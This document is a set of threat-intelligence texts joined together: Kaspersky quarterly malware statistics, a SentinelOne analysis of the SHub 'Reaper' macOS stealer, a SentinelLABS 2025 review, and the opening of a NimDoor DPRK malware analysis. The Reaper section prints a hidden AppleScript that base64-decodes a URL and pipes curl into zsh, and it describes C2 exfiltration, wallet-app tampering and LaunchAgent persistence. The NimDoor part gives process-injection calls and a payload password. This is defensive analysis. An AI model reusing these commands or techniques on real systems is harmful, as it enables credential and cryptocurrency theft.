Devices running macOS were similarly impacted by the high-profile supply chain attack targeting the Axios npm package, a widely used HTTP client for JavaScript. The installation of the infected package led to the deployment of a backdoor on macOS devices.

TOP 20 threats to macOS

Unique users* who encountered this malware as a percentage of all attacked users of Kaspersky security solutions for macOS (download)

* Data for the previous quarter may differ slightly from previously published data due to some verdicts being retrospectively revised.

The share of PasivRobber spyware attacks is beginning to decline, giving way to more traditional adware and Monitor-class software capable of tracking user activity. The popular Amos stealer also maintains its presence within the TOP 20.

Geography of threats to macOS

TOP 10 countries and territories by share of attacked users

* Unique users who encountered threats to macOS as a percentage of all unique Kaspersky users in the country/territory.

IoT threat statistics

This section presents statistics on attacks targeting Kaspersky IoT honeypots. The geographic data on attack sources is based on the IP addresses of attacking devices.

In Q1 2026, the share of devices attacking Kaspersky honeypots via the SSH protocol saw a significant increase compared to the previous reporting period.

Distribution of attacked services by number of unique IP addresses of attacking devices (download)

The distribution of attacks between Telnet and SSH maintained the ratio observed in Q4 2025.

Distribution of attackers’ sessions in Kaspersky honeypots (download)

TOP 10 threats delivered to IoT devices

Share of each threat delivered to an infected device as a result of a successful attack, out of the total number of threats delivered (download)

The primary shifts in the IoT threat distribution are linked to the activity of various Mirai botnet variants, although members of this family continue to account for the majority of the list. Furthermore, a new variant, Mirai.kl, surfaced in the rankings. We also observed a significant decline in NyaDrop botnet activity during Q1.

Attacks on IoT honeypots

The United States, the Netherlands, and Germany accounted for the highest proportions of SSH-based attacks during this period.

China continues to account for the largest proportion of Telnet attacks, though there was a marked increase in activity originating from Pakistan.

Attacks via web resources

The statistics in this section are based on detection verdicts by Web Anti-Virus, which protects users when suspicious objects are downloaded from malicious or infected web pages. These malicious pages are purposefully created by cybercriminals. Websites that host user-generated content, such as message boards, as well as compromised legitimate sites, can become infected.

TOP 10 countries and territories that served as sources of web-based attacks

The following statistics show the distribution by country/territory of the sources of internet attacks blocked by Kaspersky products on user computers (web pages redirecting to exploits, sites containing exploits and other malicious programs, botnet C&C centers, and so on). One or more web-based attacks could originate from each unique host.

To determine the geographic source of web attacks, we matched the domain name with the real IP address where the domain is hosted, then identified the geographic location of that IP address (GeoIP).

In Q1 2026, Kaspersky solutions blocked 343,823,407 attacks launched from internet resources worldwide. Web Anti-Virus was triggered by 49,983,611 unique URLs.

Web-based attacks by country/territory, Q1 2026 (download)

Countries and territories where users faced the greatest risk of online infection

To assess the risk of malware infection via the internet for users’ computers in different countries and territories, we calculated the share of Kaspersky users in each location on whose computers Web Anti-Virus was triggered during the reporting period. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries and territories.

This ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out Web Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.

* Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.
** Unique users targeted by web-based Malware attacks as a percentage of all unique users of Kaspersky products in the country/territory.

On average during the quarter, 4.73% of users’ computers worldwide were subjected to at least one Malware web attack.

Local threats

Statistics on local infections of user computers are an important indicator. They include objects that penetrated the target computer by infecting files or removable media, or initially made their way onto the computer in non-open form. Examples of the latter are programs in complex installers and encrypted files.

Data in this section is based on analyzing statistics produced by anti-virus scans of files on the hard drive at the moment they were created or accessed, and the results of scanning removable storage media. The statistics are based on detection verdicts from the On-Access Scan (OAS) and On-Demand Scan (ODS) modules of File Anti-Virus and include detections of malicious programs located on user computers or removable media connected to the computers, such as flash drives, camera memory cards, phones, or external hard drives.

In Q1 2026, our File Anti-Virus detected 15,831,319 malicious and potentially unwanted objects.

Countries and territories where users faced the highest risk of local infection

For each country and territory, we calculated the percentage of Kaspersky users whose computers had the File Anti-Virus triggered at least once during the reporting period. This statistic reflects the level of personal computer infection in different countries and territories around the world.

Note that this ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out File Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.

* Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.
** Unique users on whose computers local Malware threats were blocked, as a percentage of all unique users of Kaspersky products in the country/territory.

On average worldwide, Malware local threats were detected at least once on 11.55% of users’ computers during Q1.

Russia scored 11.92% in these rankings.

Infostealers targeting macOS have continued to proliferate over the last two years, with threat actors iterating on successful techniques across related malware families. Researchers at Moonlock, Jamf, and Malwarebytes have previously documented the rise of SHub Stealer, including its use of fake application installers and “ClickFix” social engineering. This week, SentinelOne observed a new SHub variant using the build tag “Reaper”.

Reaper uses fake WeChat and Miro installers as lures, but what stands out is the way the infection chain shifts its disguise at each stage. The payload may be hosted on a typo-squatted Microsoft domain, executed under the guise of an Apple security update, and persist from a fake Google Software Update directory. Alongside the previously documented SHub feature set, the build also adds an AMOS-style document theft module with chunked uploads.

In this post, we examine the Reaper variant’s delivery chain, file-grabbing capability, and persistence strategy, and provide indicators of compromise to aid defenders.

Delivery Pipeline and Environment Checks

Consistent with earlier SHub builds, the Reaper malware is deployed via a multi-stage execution chain. However, rather than relying on standard “ClickFix” social engineering in which victims are tricked into pasting a command into Terminal, this variant uses a delivery mechanism that bypasses Terminal entirely and sidesteps Apple’s Tahoe 26.4 mitigation for those attack flows.

Reaper leverages the applescript:// URL scheme to launch the macOS Script Editor, pre-populated with the malicious payload. SentinelOne previously described the technique, and Jamf later documented its use in a similar campaign.

In this case, the HTML source shows the script being constructed dynamically and padded with ASCII art and fake terms so that the malicious command is pushed well below the visible portion of the window when it loads in the host’s Script Editor.app.

When the victim clicks ‘Run’, the embedded AppleScript prints a fake update message referencing Apple’s XProtectRemediator tool while silently decoding and executing a curl command to fetch the initial shell script stub.

const hiddenCommand = `do shell script \
"echo 'Downloading Update: https://support.apple.com/downloads/xprotect-remediator-150.dmg' \
&& curl -s $(echo 'aHR0cHM6Ly…<redacted>' | base64 -d) | zsh"`;

The script stub then checks the victim’s locale settings by querying the com.apple.HIToolbox.plist file to check for Russian input sources.

if defaults read ~/Library/Preferences/com.apple.HIToolbox.plist \
AppleEnabledInputSources 2>/dev/null | grep -qi russian; then 
  IS_CIS="true"
fi

If the host appears to be in the CIS (Commonwealth of Independent States) region, the malware sends a cis_blocked telemetry event to its command and control (C2) server and exits. Otherwise, it retrieves an AppleScript containing the core exfiltration logic and executes without touching the local disk via osascript.

Web Telemetry and Anti-Analysis Evasion

The fake WeChat and Miro installer websites are not merely static lures. Before invoking the AppleScript payload, they profile the visitor and apply several anti-analysis techniques. These campaigns are hosted on domains designed to deceive, notably including the typo-squatted URL mlcrosoft[.]co[.]com.

JavaScript on the pages collects system and browser information including IP address, location, WebGL fingerprinting data, and indicators of virtual machines or VPNs.

The scripts also enumerate installed browser extensions, specifically looking for password managers like 1Password, Bitwarden, and LastPass, as well as cryptocurrency wallets such as MetaMask and Phantom.

The collected telemetry, including browser extension data, is sent to the operators via a hardcoded Telegram bot.

The pages also interfere with analysis by overriding console functions, intercepting developer keystrokes such as F12, and running a continuous debugger loop to stall analysis. If a researcher opens DevTools, the browser will constantly pause execution, making it difficult to effectively step through the code. In the event the researcher works around these anti-analysis measures, a separate event listener devtoolschange overwrites the page content with a Russian “Access Denied” message (<h1>Доступ запрещен</h1>).

Exfiltration Engine and Filegrabber Integration

Once the user clicks ‘Run’ in Script Editor, the hidden command retrieves the remote AppleScript and executes it. The user is asked to supply their login password, which is scraped and used to decrypt various credentials, before being presented with a misleading error message.

Earlier SHub builds focused on harvesting browser data, cryptocurrency wallets, developer-related configuration files, the macOS Keychain and iCloud account data, along with Telegram session data.

Reaper’s AppleScript retains that core behavior, targeting data from Chrome, Firefox, Brave, Edge, Opera, Vivaldi, Arc, and Orion, as well as browser extensions and desktop wallet applications including Exodus, Atomic, Ledger Live, Electrum, and Trezor Suite.

In addition, the Reaper build includes a Filegrabber routine resembling the document-theft functionality seen in Atomic macOS Stealer (AMOS). The Filegrabber handler searches the user’s Desktop and Documents folders for files likely to contain business or financial value.

The script targets files with the extensions .docx, .doc, .wallet, .key, .keys, .txt, .rtf, .csv, .xls, .xlsx, .json, and .rdp files under 2MB, along with .png images under 6MB, with a total collection cap of 150MB.

Collected files are staged in /tmp/shub_<random>/, after which the script checks whether the directory exceeds 85MB. If it does, Reaper generates a Bash script at /tmp/shub_split.sh to divide the archive into 70MB ZIP chunks and upload them sequentially to the C2 at hebsbsbzjsjshduxbs[.]xyz/gate/chunk via curl.

Wallet Application Hijacking

After uploading the user’s data, the malware attempts to compromise specific cryptocurrency desktop wallets to intercept future activity.

The script searches for Exodus, Atomic Wallet, Ledger Wallet, Ledger Live, and Trezor Suite. When found, it retrieves a modified app.asar file from the C2 server, terminates the active wallet process, and replaces the legitimate core application file.

To bypass Gatekeeper, the script clears the quarantine attributes with xattr -cr and uses ad hoc code signing on the modified application bundle.

LaunchAgent Persistence and Backdoor

While many macOS infostealers operate solely on initial execution, the SHub Reaper variant establishes persistence and installs a backdoor. Before terminating, the AppleScript creates a directory structure designed to mimic Google Software Update: ~/Library/Application Support/Google/GoogleUpdate.app/Contents/MacOS/.

It places a Base64-decoded bash script named GoogleUpdate in this directory and registers it using a LaunchAgent property list named com.google.keystone.agent.plist.

The LaunchAgent executes the target script GoogleUpdate every 60 seconds. The script functions as a beacon, sending system details to the C2’s /api/bot/heartbeat endpoint.

If the server returns a "code" payload, the script decodes it, writes it to a hidden /tmp/.c.sh file, executes it with the current user’s privileges, and then deletes the file. The mechanism provides the threat actor with a persistent backdoor for remote code execution.

SentinelOne Customers Are Protected from SHub Reaper

One of the core reasons attackers have moved to attack flows that leverage AppleScript and shell scripts is their ability to confine execution to running system processes or user-initiated processes like Script Editor or the Terminal. This allows the attacker to execute without introducing foreign binaries to the file system and makes it easier to bypass file scanning detection tools like Apple’s own XProtect and similar 3rd party tools.

SentinelOne Singularity detects SHub Reaper’s attempts to exfiltrate data and to enable persistence, among other behaviours. The engine does not rely on file scanning or signature updates to detect this kind of malicious behaviour, regardless of its source.

Conclusion

The Reaper build shows that SHub operators are extending their malware beyond straightforward credential and wallet theft. Alongside an AMOS-style Filegrabber and chunked uploads, the variant also installs a persistent backdoor, giving the operators more ways to steal data or pivot to other malicious installs after the initial compromise.

macOS users should take note of the way the infection chain layers familiar brands and trusted software cues across multiple stages: A fake WeChat or Miro installer, delivery from a typo-squatted Microsoft domain, execution disguised as an Apple security update, and persistence hidden in a fake Google Software Update path.

For defenders, that combination reinforces the need to watch for malicious behavior like unexpected AppleScript or osascript activity, suspicious outbound traffic following Script Editor execution, or the unexpected creation of LaunchAgents or related files in namespaces associated with trusted vendors.

Indicators of Compromise

Over the past twelve months, SentinelLABS research revealed how threat actors have changed their operational approach in ways previously unseen. Among our many research publications during 2025, we exposed North Korean threat actors monitoring the same cyber threat intelligence platforms defenders use to share indicators of compromise, and revealed how a single cryptocurrency phishing operation deployed over 38,000 malicious subdomains across trusted free-tier platforms.

2025 also saw artificial intelligence transition from theoretical threat to practical reality, though not in the revolutionary ways many predicted. Instead, AI emerged as a force multiplier, with threat actors weaponizing large language models to scale attacks, generate convincing social engineering content, and automate previously manual processes.

These discoveries and others we will explore in this review, exemplify how adversaries have fundamentally changed their operational calculus, treating legitimate infrastructure—from Telegram to free-tier publishing platforms to commercial AI APIs—as essential criminal resources and actively surveilling the defender community’s intelligence-sharing mechanisms.

Throughout 2025, SentinelLABS tracked, identified, and disclosed information on these and other critical issues to help organizations and defenders stay ahead of threats to their business operations.

All our research and threat intelligence posts can be found on the SentinelLABS home page, but for a recap of the year’s main cybersecurity events, take a scroll through the main highlights below.

Key Trends from SentinelLABS Research in 2025

• AI Weaponization Across the Threat Spectrum: Artificial intelligence matured from a theoretical threat to an operational accelerator, used to automate existing capabilities from runtime code generation (MalTerminal) to CAPTCHA bypassing (AkiraBot), lowering barriers for both sophisticated and commodity attacks.

• Threat Actors Monitoring Defensive Intelligence: North Korean operators (Contagious Interview) began actively monitoring platforms like Validin and VirusTotal to detect their own infrastructure exposure in near real-time.

• Industrial-Scale Cryptocurrency & Credentials Theft: Highly organized, business-like criminal operations such as  FreeDrain and PXA Stealer prove cryptocurrency and credential theft at scale has evolved into a professional sector with sophisticated infrastructure and monetization pipelines.

• Ransomware’s Relentless Business Model Evolution: The ransomware ecosystem saw innovations like DragonForce’s “white-label” branding service, the convergence of hacktivist and profit motivations, and the blurring of distinct ransomware families (HellCat/Morpheus deploying identical code). 

• Exploitation of Legitimate Platforms: Threat actors have increasingly leveraged trusted infrastructure for malicious purposes: Telegram for C2 and data monetization, free-tier publishing platforms for phishing campaigns, and cloud services for hosting and evasion. 

• China’s Hidden Offensive Capabilities: Research into Hafnium-linked companies and firms that provide Censorship as a Service to government customers reveal deep integration between China’s private cybersecurity sector and state offensive operations.

• Developments in Social Engineering: Through ClickFix techniques, fake CAPTCHA pages, and increasingly convincing fake job offers, threat actors have found new ways to exploit user psychology to deliver malware.

January

SentinelLABS researchers uncovered how HellCat and Morpheus ransomware operations were essentially two distinct brands deploying identical ransomware payloads, illustrating the commoditization and rebranding practices within the RaaS ecosystem. This discovery highlighted how affiliates could rebrand the same underlying malware to create the appearance of distinct threat groups, complicating attribution efforts.

Our research into a returning phishing campaign revealed the targeting of high-profile accounts on X (formerly Twitter) to promote cryptocurrency scams. The attacks demonstrated the persistent value of compromising social media accounts with large followings for financially motivated threat actors seeking to reach broad audiences with investment fraud schemes.

Key Takeaway: Understanding how common code is sourced and shared across ransomware groups can inform detection efforts and improve threat intelligence on their operations.

February

In early February, SentinelLABS reported on further variants of the FlexibleFerret DPRK malware family, continuing the Contagious Interview campaign that had been active since November 2023. The research uncovered new infection vectors and samples while also documenting persistent attempts to compromise developers through fake GitHub issues promoting malicious installer scripts.

Later in the month, analysis of leaked data from TopSec, a Beijing-based cybersecurity firm, revealed how China’s private sector provides Censorship as a Service to enforce government content monitoring. The leaked work logs showed TopSec delivering bespoke monitoring services to a state-owned enterprise precisely when a corruption investigation was announced, offering rare insight into public-private coordination for managing sensitive events and controlling public opinion in China.

February concluded with discovery of a new Ghostwriter campaign targeting both the Ukrainian government and, for the first time, Belarusian opposition groups. The long-running threat activity cluster deployed weaponized Excel documents with lures crafted to appeal to government officials and opposition activists, marking an expansion of the campaign’s targeting scope.

Key Takeaway: The TopSec leak reveals how China’s private cybersecurity sector directly enables state surveillance and censorship operations, highlighting the interconnected nature of commercial security firms and government offensive capabilities.

March

March was marked by several significant ransomware developments. Mid-month, SentinelLABS reported on Dragon RaaS, a pro-Russian hacktivist group attempting to build on the reputation of “The Five Families” cybercrime ecosystem. The group’s emergence reflected the continued  fragmentation and rebranding within ransomware operations.

The month also saw publication of research on ReaderUpdate, a macOS malware loader that had been largely dormant since 2023. New samples showed the threat actors had expanded the loader’s capabilities by adding Go to its existing arsenal of Crystal, Nim, and Rust variants, creating a “melting pot” of macOS malware designed to evade detection through diverse implementation languages.

Key Takeaway: ReaderUpdate’s use of multiple programming languages (Crystal, Nim, Rust, Go) presents unique challenges for detection and analysis, necessitating detection strategies that focus on behavior and artifacts rather than language-specific signatures.

April

April brought the discovery of AkiraBot, an AI-powered Python framework using OpenAI to generate custom spam messages targeting website contact forms and chat widgets.

Since September 2024, the bot had targeted more than 400,000 websites and successfully spammed at least 80,000 sites promoting dubious SEO services. The framework’s sophistication, including multiple CAPTCHA bypass mechanisms and network detection evasion techniques, illustrated how AI lowers barriers for scaled attacks even when the underlying criminal objective remains straightforward.

Later in the month, SentinelLABS published research on what it takes to defend a top-tier cybersecurity company from today’s adversaries. Drawing on SentinelOne’s own experiences as a target of advanced persistent threats, the research provided insight into the resources and capabilities required to protect organizations that themselves represent high-value targets for nation-state actors seeking to compromise security vendors.

Key Takeaway: AI-generated content in AkiraBot bypasses traditional spam filters by creating unique messages for each target, exposing the challenges AI poses to traditional website spam defenses.

May

May opened with our reporting on DragonForce, a ransomware gang that had completed its transformation from Pro-Palestine hacktivist operation to profit-driven extortion enterprise. The group introduced a “white-label” branding service in early 2025, allowing affiliates to rebrand DragonForce ransomware as different strains for additional fees, marking a new level of commercialization within the RaaS ecosystem.

Shortly afterward, SentinelLABS and Validin unveiled FreeDrain at PIVOTcon. Our collaboration exposed an industrial-scale cryptocurrency phishing operation using SEO manipulation and over 38,000 distinct subdomains across free publishing platforms. The investigation began with a victim who lost approximately $500,000 worth of Bitcoin and expanded to reveal a professional criminal enterprise operating during standard business hours from the UTC+05:30 timezone, systematically stealing digital assets through multilayered redirection techniques.

Anti-Ransomware Day 2025 marked the sobering milestone of ten years of Ransomware-as-a-Service, now a billion-dollar criminal industry. SentinelLABS’ retrospective examined how RaaS operations had evolved from early experiments into sophisticated criminal enterprises with mature business models, customer service, and ongoing innovation.

A busy month for our researchers concluded with documentation of ClickFix techniques embedding fraudulent CAPTCHA images on compromised websites. We shared original findings from SentinelOne investigations, including infection chains and technical artifacts not previously reported.

Key Takeaway: FreeDrain’s abuse of thousands of subdomains on trusted free-tier platforms demonstrates that without stronger default safeguards, identity verification, or proper abuse response infrastructure, free publishing platforms will continue to be abused, undermining user trust and inflicting real-world financial harm.

June

SentinelLABS expanded on its earlier research on adversaries targeting top-tier organizations, detailing a China-nexus threat actor’s reconnaissance operation against SentinelOne itself that had occurred in October 2024 and extended into 2025. The research highlighted adversaries’ persistent focus on compromising cybersecurity vendors and high-value targets.

Also in June, we reported on Katz Stealer, an emerging Malware-as-a-Service platform targeting credentials and crypto assets. Advertised on BreachForums in April 2025, Katz Stealer followed the established RaaS business model, offering services to affiliates for upfront fees and demonstrating the continued commercialization of information stealer operations.

We reported on two separate Mac-focused campaigns in June, attributed in turn to China and North Korean threat actors. Our researchers found evidence of macOS.ZuRu’s re-emergence with a modified Khepri C2 framework concealed inside a trojanized version of the legitimate Termius SSH client. We also detailed intrusions attributed to DPRK activity and the macOS NimDoor malware family: a Nim-based backdoor specifically designed to target Web3 and crypto platforms. The research extended understanding of North Korean threat actors’ evolving macOS malware playbook and their persistent focus on the cryptocurrency sector.

Key Takeaway: DPRK’s exploration of lesser-known languages in order to introduce analysis complexity requires security engineers to invest equal effort in understanding the affordances such languages offer threat actors.

July

One of the year’s most significant zero-day disclosures was revealed when Microsoft confirmed active exploitation of SharePoint ToolShell (CVE-2025-53770) on July 19th, two days after SentinelOne first observed ToolShell exploitation. SentinelLABS researchers subsequently documented targeted exploitation against high-value organizations in technology consulting, manufacturing, critical infrastructure, and professional services.

The vulnerability enabled unauthenticated remote code execution through crafted POST requests, with attacks occurring before public disclosure spurred mass exploitation. Further research found multiple state-aligned threat actors beginning reconnaissance and early-stage exploitation activities.

Later in July, following Department of Justice indictments of two hackers working for China’s Ministry of State Security, SentinelLABS identified more than ten patents for highly intrusive forensics and data collection technologies registered by companies linked to the Hafnium (Silk Typhoon) threat actor group.

The patents revealed previously unreported offensive capabilities including encrypted endpoint data acquisition, mobile forensics, and network traffic collection, exposing the sophisticated technical infrastructure supporting China’s APT operations and highlighting critical gaps in traditional campaign-focused attribution.

Key Takeaway: Campaign-focused attribution misses the full picture. Understanding the companies behind attacks and their documented capabilities, not just observed behavior, is essential for comprehensive threat intelligence.

August

In early August, SentinelLABS and Beazley Security exposed the PXA Stealer campaign, a Python-based operation that had infected more than 4,000 unique victims across 62 countries. The stolen data included over 200,000 passwords, hundreds of credit card records, and more than 4 million browser cookies, and was monetized through a Vietnamese-speaking cybercriminal ecosystem using Telegram APIs. The campaign demonstrated increasingly advanced tradecraft with nuanced anti-analysis techniques, non-malicious decoy content, and hardened command-and-control infrastructure.

This month, SentinelLABS also exposed widespread smart contract scams, where actors advertised crypto trading bots concealing malicious contracts designed to drain user wallets. Promoted through fake YouTube channels and AI-generated videos, the scams demonstrated how threat actors leverage social media and emerging technologies to lend legitimacy to financial fraud schemes.

Key Takeaway: Stealer campaigns have become increasingly automated and supply-chain integrated. PXA Stealer exemplifies a growing trend in which legitimate infrastructure is weaponized at scale.

September

SentinelLABS, in collaboration with Validin, exposed how North Korean threat actors behind the Contagious Interview campaign were actively monitoring cyber threat intelligence platforms to detect infrastructure exposure.

The research revealed coordinated teams using Slack for real-time collaboration and rapidly deploying replacement infrastructure when services took down their assets. Between January and March 2025 alone, our efforts identified more than 230 victims, predominantly cryptocurrency professionals, with the actual number likely significantly higher.

Later in September, SentinelLABS published groundbreaking research on hunting for LLM-enabled malware. Facing the challenge that malware offloading functionality to AI could generate unique code at runtime and evade traditional detection, our researchers developed novel methodologies based on embedded API key detection and specific prompt structure patterns.

This approach successfully identified previously unknown samples including MalTerminal, potentially the earliest known example of LLM-enabled malware. Despite initial concerns about detection challenges, the research showed how defenders could reliably hunt for and detect these emerging threats.

Key Takeaway: LLM-enabled malware is still in a nascent stage, giving defenders an opportunity to learn from attackers’ mistakes and adjust their approaches accordingly.

October

In late October, following intelligence shared by the Digital Security Lab of Ukraine, SentinelLABS investigated PhantomCaptcha, a coordinated single-day spearphishing operation launched on October 8th targeting organizations critical to Ukraine’s war relief efforts.

The threat actors used emails impersonating the Ukrainian President’s Office carrying weaponized PDFs, luring victims into executing malware via a ‘ClickFix’-style fake Cloudflare captcha page. The final payload was a multi-stage WebSocket RAT, hosted on Russian-owned infrastructure,  with an array of offensive features including arbitrary remote command execution, data exfiltration, and the potential deployment of additional malware.

The campaign reflects a highly capable adversary with extensive operational planning, compartmentalized infrastructure, and deliberate exposure control. The six-month period between initial infrastructure registration and attack execution, followed by the swift takedown of user-facing domains while maintaining backend command-and-control, indicates an operator well-versed in both offensive tradecraft and defensive detection evasion.

Key Takeaway: User awareness training on “ClickFix”-style social engineering techniques can help prevent attacks using this infection vector. PowerShell logging provides visibility into commands using hidden window styles, execution policy bypasses, or attempts to disable command history logging, while network security teams can monitor for WebSocket connections to recently-registered or suspicious domains.

November

As part of our efforts to empower the community at large through research and adversary exposure, SentinelLABS also develops and releases open source tooling. In November, we released a Synapse Rapid Power Up for Validin to improve campaign discovery at scale. Our research showed how modern intelligence platforms could accelerate identification of threat campaigns through infrastructure correlation and automated discovery techniques.

Using the LaundryBear and FreeDrain campaigns as case studies, we explored how the sentinelone-validin power-up leverages Validin’s multi-source enrichment and HTTP fingerprinting to reveal wider campaign infrastructure within Synapse from just a handful of indicators.

The tool makes it easier to follow how infrastructure changes over time, trace shared resources across campaigns, and connect what might first appear as isolated indicators. With this richer context available directly in Synapse, analysts can move from collection to understanding with greater speed and confidence in their conclusions.

Key Takeaway: Modern adversaries rotate domains and replicate infrastructure templates, which can limit the value of isolated indicators. Analysts need time-aware, cross-source analysis to identify shared traits and connect related assets.

December

Early in December, SentinelLABS released its forward-looking “Cybersecurity 2026” forecast, examining the year ahead in AI, adversaries, and global change. The analysis drew on trends observed throughout 2025 to project how the threat landscape would continue evolving.

This month we also traced how two hackers progressed from Cisco Academy students to orchestrating Salt Typhoon attacks, providing rare insight into how technical education can be perverted toward malicious ends and highlighting the danger of threat actors emerging from legitimate training programs.

December also saw reporting on CyberVolk’s return with VolkLocker. The pro-Russian hacktivist collective continued its pattern of reusing, tweaking, and rebranding leaked ransomware source code.

The year concluded with comprehensive research on how large language models impact ransomware operations. The analysis found that while LLMs are being adopted by crimeware actors, they serve as operational accelerators rather than revolutionary tools, streamlining reconnaissance, improving phishing, and speeding up attack stages without fundamentally changing ransomware methodology.

Key Takeaway: With today’s LLMs, the risk is not superintelligent malware but industrialized extortion, requiring defenders to adapt to faster operational tempo rather than novel capabilities.

Conclusion

2025 saw the cybersecurity landscape defined not by revolutionary changes but by the acceleration of existing threats. AI has emerged not as a game-changer but as a force multiplier, amplifying attacks across the spectrum.

Meanwhile, cybercriminals operate industrial-scale operations with professional infrastructure, business hours, and customer service models much like legitimate enterprises, and nation-state actors monitor the same intelligence platforms defenders use, turning the information security community’s own tools into reconnaissance resources.

Our research over the last 12 months has also found an adversary landscape in which attribution has become increasingly complex, and the line between hacktivist and profit-motivated operations continues to blur. From the 38,000 phishing subdomains of FreeDrain to the coordinated teams behind Contagious Interview monitoring threat intelligence platforms, threat actors have shown both adaptability and operational maturity.

SentinelLABS’ discoveries throughout 2025 underscore the critical need for a collaborative, intelligence-driven approach to cybersecurity. As we move into 2026, defenders will find themselves in an environment where trust models require reevaluation,  adversaries demonstrate sophisticated awareness of defensive operations, and the weaponization of legitimate services demands new detection paradigms.

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Executive Summary

• DPRK threat actors are utilizing Nim-compiled binaries and multiple attack chains in a campaign targeting Web3 and Crypto-related businesses.
• Unusually for macOS malware, the threat actors employ a process injection technique and remote communications via wss, the TLS-encrypted version of the WebSocket protocol.
•  A novel persistence mechanism takes advantage of SIGINT/SIGTERM signal handlers to install persistence when the malware is terminated or the system rebooted.
• The threat actors deploy AppleScripts widely, both to gain initial access and also later in the attack chain to function as lightweight beacons and backdoors.
• Bash scripts are used to exfiltrate Keychain credentials, browser data and Telegram user data.
• SentinelLABS’ analysis highlights novel TTPs and malware artifacts that tie together previously reported components, extending our understanding of the threat actors’ evolving playbook.

In April 2025, Huntabil.IT observed a targeted attack on a Web3 startup, attributing the incident to a DPRK threat actor group. Several reports on social media at the time described similar incidents at other Web3 and Crypto organizations. Analysis revealed an attack chain consisting of an eclectic mix of scripts and binaries written in AppleScript, C++ and Nim. Although the early stages of the attack follow a familiar DPRK pattern using social engineering, lure scripts and fake updates, the use of Nim-compiled binaries on macOS is a more unusual choice. A report by Huntress in mid-June described a similar initial attack chain as observed by Huntabil.IT, albeit using different later stage payloads.

SentinelLABS’ analysis of the payloads used in the April incidents shows the Nim stages contain some unique features including encrypted configuration handling, asynchronous execution built around Nim’s native runtime, and a signal-based persistence mechanism previously unseen in macOS malware.

In this post, we provide an overview of the attack chain and a technical analysis of the C++ and Nim-based components. We refer to this family of malware collectively as NimDoor, based on its functionality and development traits. Indicators of compromise and insights into the malware’s architecture are provided to aid defenders and threat hunters in identifying related activity.

Initial Access and Payload Delivery

The attack chain begins with a now-familiar social engineering vector: impersonation of a trusted contact over Telegram and inviting the target to schedule a meeting via Calendly. The target is subsequently sent an email containing a Zoom meeting link and instructions to run a so-called “Zoom SDK update script”.

An attacker-controlled domain hosts an AppleScript file named zoom_sdk_support.scpt. Variants of this script can be found in public malware repositories through the seemingly unintentional typo in a code comment: - - Zook SDK Update instead of - - Zoom SDK Update. The file is heavily padded, containing 10,000 lines of whitespace to obfuscate its true function.

The script ends with three lines of malicious code that retrieve and execute a second-stage script from a command-and-control server hosted at support.us05web-zoom[.]forum. This domain name format has been chosen for similarity to the legitimate Zoom meeting domain us05web.zoom[.]us.

Our analysis found a number of parallel domains in use by the same actor.

support.us05web-zoom[.]pro
support.us05web-zoom[.]forum
support.us05web-zoom[.]cloud
support.us06web-zoom[.]online

The follow-on script downloads an HTML file named check, which includes a legitimate Zoom redirect link.

<a ref="https://us05web.zoom[.]us/j/4724012536?pwd=ADlAXdxkUclRhvYoJbpKQmizkQ1RV4.1">Temporary Redirect</a>

This HTML file is passed to curl and executed via run script, ultimately launching the attack’s core logic.

Researchers at Validin have also recently published extended indicators around this and associated infrastructure. The posts by Huntabil.IT and Huntress mentioned earlier describe much the same initial attack chain. However, the second part of the attack chain is where things begin to get both different and increasingly complex.

Execution Chain and File Deployment

The multi-staged infection process Huntabil.IT observed resulted in the download of two Mach-O binaries—a and installer—into /private/var/tmp. These two binaries set off two independent execution chains.

In the first, the a binary is a C++-compiled universal architecture Mach-O executable. It writes an encrypted embedded payload called netchk to disk. The execution from here involves a complex chain of obfuscation and distraction which we describe in the following section. Ultimately, the aim is to fetch two Bash scripts used for data exfiltration. These include mechanisms for scraping general system data as well as application-specific data like browser data and Telegram chat histories. All operations are staged from a folder created at ~/Library/DnsService.

The second execution chain starts with the installer binary, which is also a universal Mach-O executable compiled from Nim source code, and is responsible for persistence setup. It drops two additional Nim-compiled binaries: GoogIe LLC (where “GoogIe” is spelled using a deceptive capital “i” rather than a lowercase ‘L’) and CoreKitAgent. These payloads orchestrate long-term access and recovery mechanisms for the threat actor.

Technical Analysis of a, netchk and trojan1_arm64

Both Huntabil.IT and Huntress describe use of a C++-compiled binary with the name a being deposited as a result of initial infection through the fake Zoom update scripts described earlier.

The a binary is ad hoc signed and carries the identifier InjectWithDyldArm64. As reported by previous researchers, it can take a command line argument --d, which results in the deletion of a‘s current working directory, or a file name and password. In the Huntabil.IT post, this was reported as:

./a ./netchk gift123$%^

The InjectWithDyldArm64 (aka a) binary uses Password-Based Key Derivation Function 2 (PBKDF2) with HMAC-SHA-256 to derive a 32-byte key from the password gift123$%^, using 10000 iterations and a salt consisting of the first sixteen characters of the embedded base64 string.

The derived key and the base64 decoded encrypted data are passed to the AesEncrypt function, which iterates through 16 byte blocks of the encrypted data. On each iteration it:

• calls AesTrans, a wrapper for CCCrypt, to perform an AES encryption in CBC mode with the derived key and a zero-filled initialization vector. In the first iteration the data to be encrypted is the key itself, but in subsequent iterations the input data is taken from the previous AesTrans call.
• XORs the current encrypted data block with the current AesTrans result.

SentinelLABS’ analysis shows that this process is used to decrypt two embedded binaries. The first carries an ad hoc signature and the identifier Target. The second has an ad hoc signature with the identifier trojan1_arm64. The Target binary is benign and appears to do nothing other than generate random numbers.

However, Target is spawned by InjectWithDyldArm64 in a suspended state via

posix_spawnattr_init(&attrp) && !posix_spawnattr_setflags(&attrp, POSIX_SPAWN_START_SUSPENDED)
posix_spawn(&pid, filename, 0, &attrp, argv_1, environ)

and injected with the trojan1_arm64 binary’s code. After injection, the suspended Target process is resumed via

kill(pid, SIGCONT)

and the code from the trojan1_arm64 binary is executed.

This kind of process injection technique is rare in macOS malware and requires specific entitlements to be performed; in this case, the InjectWithDyldArm64 binary has the following entitlements to allow the injection:

com.apple.security.cs.debugger
com.apple.security.get-task-allow

After first negotiating an HTTP handshake, the injected code uses wss to communicate with the C2 – another uncommon technique for macOS malware – at wss://firstfromsep[.]online/client.

The malware uses multiple levels of RC4 encryption in combination with the base64 encoding and three different keys before the communication.

